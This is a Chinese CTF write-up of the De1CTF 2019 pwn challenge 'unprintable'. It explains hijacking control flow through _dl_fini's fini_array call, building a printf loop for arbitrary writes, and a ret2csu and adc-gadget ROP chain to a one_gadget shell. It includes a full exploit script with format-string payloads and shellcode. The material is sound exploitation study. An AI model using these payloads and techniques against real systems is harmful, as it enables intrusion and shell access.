详解 De1ctf 2019 pwn——unprintable

阅读量459693

|评论2

|

发布时间 : 2019-08-16 10:35:31

 

在上周末玩的De1ctf中印象最深刻的就是Unprintable这道题。好好的一个周末全让者道题目给毁了:(。当时各种方法各种爆破一通乱试,最后都失败了。赛后在看了官方和师傅们的WP后自叹不如,果然还是太年轻了。

在仔细分析了师傅们的WP后,如沐春风,这解法也太妙(sao)了吧。从中学到了很多知识点,写一篇文章记录一下,希望和师傅们交流。

 

1. 程序分析

程序很简单,读入到bss段,格式化字符串漏洞,然后调用exit(0)退出。关闭了stdout,所以没有办法泄露。

 

2. 利用思路

利用exit中的_dl_fini函数控制程序流程。改返回地址制造printf_loop产生任意写。构造ROP链getshell。

看似步骤非常简单,但是每一步都十分巧妙,下面分布介绍。

2.1 _dl_fini

第一步师傅们的思路都是一样的,利用_dl_fini中的一处call:

<_dl_fini+777>:    mov    r12,QWORD PTR [rax+0x8]
<_dl_fini+781>:    mov    rax,QWORD PTR [rbx+0x120]
<_dl_fini+788>:    add    r12,QWORD PTR [rbx]

<_dl_fini+819>:    call   QWORD PTR [r12+rdx*8]

题目中有格式化字符串漏洞,而输入的数据又不在栈上,这时就自然而然的想到了要利用栈上已有的数据。当程序运行到printf的时候栈上的数据为:

其实从颜色也能看出来有一处比较特殊,是因为它指向了ld.so区域:

巧妙的是,在之后的exit(0)中,有一处函数调用所依赖的关键就是这个指针。

我通过源码调试调试到这个位置想看看这个漏洞产生的原因:

这个地方的源代码是:

        /* First see whether an array is given.  */
        if (l->l_info[DT_FINI_ARRAY] != NULL)
        {
            ElfW(Addr) *array =
            (ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
            unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
            while (i-- > 0)
            ((fini_t) array[i]) (); //漏洞产生点,调用函数数组。
        }

这个地方是exit在调用一系列函数(destructors)来释放资源。那为什么会这么巧?偏偏就有一个函数指针在栈上可以利用?我没有分析过exit源码,但是我推断是在程序初始化的过程当中ld.so利用到了这个指针,而且留在了栈上,在程序结束的时候又利用这个指针来进行相反的操作。关于库的链接的知识还有空缺,有时间一定补上。师傅们真是太强了,向师傅们致敬。

可以说上面这一步是一个关键的突破口,如果想不到这里,就做不出来了,想到了,之后的操作就顺水推舟了。

2.2 printf_loop

在劫持了程序执行流之后,就想着怎么拿shell了,首先就是要拿到任意写。

因为read(buf)读不到栈上,所以还是得利用栈上的数据。

当第一次控制了程序执行流之后,在printf处下断,看此时的栈情况:

可以观察到栈上有很多指针指向了栈本身,而且有些就在当前有效栈空间里。

这里利用了1和3。其中3本身指向了printf的返回地址,所以可以构造printf_loop。而1则是指向了当前有效栈空间,可以通过printf写来改变栈上的值使它指向任意想要的位置来实现栈上的任意写。

    sleep(0.2)
    payload4='%'+str(stack_tail)+'c%18$hhn'+'%'+str(0xa3-stack_tail)+'c%23$hhn'
    sl(payload4)

    sleep(0.1)
    payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
    sl(payload5)

上面代码中的两步写操作结合起来就构成了任意写。

2.3 ROP

有了任意写之后,就要用ROP来getshell了。

可以看到程序空间里有_libc_csu,想到经典利用方法ret2csu中的利用技巧也许有用:

.text:0000000000400810                 mov     rdx, r13
.text:0000000000400813                 mov     rsi, r14
.text:0000000000400816                 mov     edi, r15d
.text:0000000000400819                 call    qword ptr [r12+rbx*8]
.text:000000000040081D                 add     rbx, 1
.text:0000000000400821                 cmp     rbx, rbp
.text:0000000000400824                 jnz     short loc_400810
.text:0000000000400826
.text:0000000000400826 loc_400826:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400826                 add     rsp, 8
.text:000000000040082A                 pop     rbx
.text:000000000040082B                 pop     rbp
.text:000000000040082C                 pop     r12
.text:000000000040082E                 pop     r13
.text:0000000000400830                 pop     r14
.text:0000000000400832                 pop     r15

其实ret2csu也算是一个gadget,利用它可以控制的指针有:rdi,esi,rdx,rcx,rbx,rbp,r12,r13,r14,r15。但是光有这个gadget似乎拿不到shell。

这时候神奇的地方就出现了,在官方WP就介绍了一个神奇的gadget:

.text:00000000004006E8                 adc     [rbp+48h], edx

在这里把它的全部调用链列出来:

    adc    DWORD PTR [rbp+0x48],edx
    mov    ebp,esp
    call   0x400660 <deregister_tm_clones>
        mov    eax,0x601017
        push   rbp
        sub    rax,0x601010
        cmp    rax,0xe
        mov    rbp,rsp
        jbe    0x400690 
        pop    rbp
        ret
    pop    rbp
    mov    byte ptr [rip + 0x20094e], 1 <0x601048>
    ret

其实调用链这么长实际起作用的就是:

adc    DWORD PTR [rbp+0x48],edx
ret

而其中的edx和rbp都是可以控制的,所以我们就可以实现一次任意写。

可以看到程序空间里存在stderr,stdin,stdout,它们都指向libc,所以可以修改它们为one_gadget来getshell。

在关闭aslr的情况下stderr和one_gadget分别为:

    stderr = 0x601040  #0x7ffff7dd2540
    one= 0x7ffff7afe147#0x7ffff7a52216 0x7ffff7a5226a  0x7ffff7afd2a4 0x7ffff7afe147

计算偏移修改即可。

修改完之后再次利用ret2csu传stderr的地址给r12,最后调用call qword ptr [r12+rbx*8]拿到shell。

附上完整exp :

from pwn_debug import *

pdbg=pwn_debug("1")
pdbg.context.terminal=['tmux', 'splitw', '-h']
context.log_level='debug'
pdbg.local("")
pdbg.debug("2.23")
pdbg.remote('111.198.29.45',)

switch=1
if switch==1:
    p=pdbg.run("local")
elif switch==2:
    p=pdbg.run("debug")
elif switch==3:
    p=pdbg.run("remote")
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))
bp      = lambda bkp                :pdbg.bp(bkp)
#elf=pdbg.elf
#libc=pdbg.libc
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def pwn():
    pop_rsp=0x40082d

    ru('This is your gift: ')
    stack=int(ru('n'),16)
    #if stack&0xffff>0x2000:
    #   p.close()
    print hex(stack)
    payload1='%'+str(0x298)+'c'+'%26$hn'
    payload1=payload1.ljust(16,'x00')+p64(0x4007A3)

    sleep(0.1)
    sl(payload1)
    bp([0x4007c1])

    sleep(0.1)
    payload2='%'+str(0xa3)+'c%23$hhn'
    sl(payload2)
    input()
    sleep(0.1)
    stack_tail=(stack-280)&0xff
    payload3='%'+str(0x48)+'c%18$hhn'+'%'+str(0xa3-0x48)+'c%23$hhn'

    sleep(0.1)
    sl(payload3)
    #get arbitray write
    sleep(0.2)
    payload4='%'+str(stack_tail)+'c%18$hhn'+'%'+str(0xa3-stack_tail)+'c%23$hhn'
    sl(payload4)

    sleep(0.1)
    payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
    sl(payload5)

    sleep(0.2)
    payload4='%'+str(stack_tail+4)+'c%18$hhn'+'%'+str(0xa3-stack_tail-4)+'c%23$hhn'
    sl(payload4)

    sleep(0.1)
    payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
    sl(payload5)  #clear up the first arg

    sleep(0.2)
    payload4='%'+str(stack_tail+4)+'c%18$hhn'+'%'+str(0xa3-stack_tail-4)+'c%23$hhn'
    sl(payload4)

    sleep(0.1)
    payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
    sl(payload5)#clear up the first arg



    sleep(0.2) #fake_heap=0x6010a0
    payload4='%'+str(stack_tail)+'c%18$hhn'+'%'+str(0xa3-stack_tail)+'c%23$hhn'
    sl(payload4)

    sleep(0.1)
    payload5='%'+str(0xa3)+'c%23$hhn'+'%'+str(0x10a0-0xa3)+'c%13$hn'
    sl(payload5)

    sleep(0.2) #fake_heap=0x6010a0
    payload4='%'+str(stack_tail+2)+'c%18$hhn'+'%'+str(0xa3-stack_tail-2)+'c%23$hhn'
    sl(payload4)

    sleep(0.1)
    payload5='%'+str(0x60)+'c%13$hhn'+'%'+str(0xa3-0x60)+'c%23$hhn'
    sl(payload5)

    # merge heap and ROP
    prbp = 0x400690 #pop rbp;ret;
    prsp = 0x40082d #pop rsp r13 r14 r15 ;ret
    adc = 0x4006E8  
    '''
    adc    DWORD PTR [rbp+0x48],edx
    mov    ebp,esp
    call   0x400660 <deregister_tm_clones>
    pop    rbp
    mov    byte ptr [rip + 0x20094e], 1 <0x601048>
    ret

    mov    eax,0x601017
    push   rbp
    sub    rax,0x601010
    cmp    rax,0xe
    mov    rbp,rsp
    jbe    0x400690 
    pop    rbp
    ret   
    '''
    arsp = 0x0400848 #add    rsp,0x8;ret
    prbx = 0x40082A #pop rbx rbp r12 r13 r14 r15;ret
    call = 0x400810 #mov    rdx,r13
                    #mov    rsi,r14
                    #mov    edi,r15d
                    #call   QWORD PTR [r12+rbx*8]
    stderr = 0x601040  #0x7ffff7dd2540
    one= 0x7ffff7afe147#0x7ffff7a52216 0x7ffff7a5226a  0x7ffff7afd2a4 0x7ffff7afe147
    rop=0x6010a0
    payload6 = p64(arsp)*3
    #                   rbx   rbp      r12     r13    r14 r15
    payload6 += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0,  0,  call)
    payload6 += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)

    sleep(1)
    payload5='%'+str(0x82d)+'c%23$hn'
    payload5=payload5.ljust(0x40,'x00')+payload6

    #bp([0x4007c1])
    sl(payload5)

    it()


if __name__=='__main__':
    while 1:
        try:
            pwn()
        except:
            p.close()
            p=pdbg.run("local")

 

3. 补充

在看了Kirin师傅的wp后觉得师傅的思路也非常好,这里记录一下。

前面思路相同,getshell的时候,调用puts在栈上留一个libc中的地址,改一字节得到syscall,再利用ret2csu控制rdi,rsi,rdx,利用read的返回值控制rax,最后调用syscall拿shell。

 

4. 总结

这是一道非常好的题目,涉面广泛,感谢De1ta。这道题教会了我要充分的重视栈上的数据来达成利用,栈是所有函数调用都会使用到的结构,前面函数执行完之后多少会在栈上留下蛛丝马迹,充分利用它们,也许就能拿shell。再次感谢De1ta。

本文由now4yreal原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/183859

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
now4yreal
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66